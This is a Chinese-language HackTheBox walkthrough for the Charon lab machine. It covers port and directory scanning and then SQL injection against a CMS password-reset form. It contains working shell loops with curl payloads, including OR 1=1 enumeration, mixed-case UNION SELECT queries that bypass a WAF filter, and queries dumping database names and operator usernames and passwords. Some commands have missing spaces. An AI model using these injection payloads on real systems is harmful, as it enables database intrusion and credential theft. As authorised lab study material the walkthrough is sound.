HackTheBox-Linux-Charon-Walkthrough
**
靶机地址:https://www.hackthebox.eu/home/machines/profile/42
靶机难度:中级(3.5/10)
靶机发布日期:2017年10月7日
靶机描述:
Charon is definitely one of the more challenging machines on HackTheBox. It does not require any advanced techniques, however there are many subtle tricks needed at almost every step of exploitation.
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
一、信息收集:
1.端口扫描
nmap发现开放了OpenSSH和Apache服务。
访问80端口,发现是一个cms界面。
翻了一下,没有可用的地方。
2.目录扫描
使用gobuster进行目录扫描
gobuster dir-u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40
扫描发现存在cmsdata目录。
访问一下,发现是一个登录框,测试几个弱口令没成功。
发现有一个忘记密码功能。butp抓包测试sql注入。
二、漏洞利用
3.sql注入
输入'报错,然后输入"提提升找不到这个emali。证明存在sql注入。
使用limit进行判断字段。
1.脚本测试
使用脚本枚举出了可用的用户名。
for i in{1..1000};do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode"email=a@b.c' or 1=1 limit ${i},1;-- -" | grep'<h2>' | awk'{print $5}' | grep-v"^with"||break;done
for i in $(seq 0 300); do payload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -" curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com' done
2.手工union联合查询Bypass waf
经过测试,发现在查到第4位的时候会出现报错。
猜测可能存在waf拦截,然后经过测试,将UNION SELECT都使用大写进行
测试,可以成功测试注入。
使用脚本探测那一列是电子邮箱的地址。
for i in $(seq 0 300); dopayload="email=a@b.com' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com' done
发现到了第四列的时候,出现了有关邮箱的格式。
使用脚本枚举数据库。
for i in {0..100}; do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "email=a@b.c' UNiON SELECT 1,schema_name,3,'a@b.c' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2
使用GROUP_CONCATSQL 函数,它将一整列合并为一个结果。
联合查询获取用户名和密码。
查找管理员用户名和密码。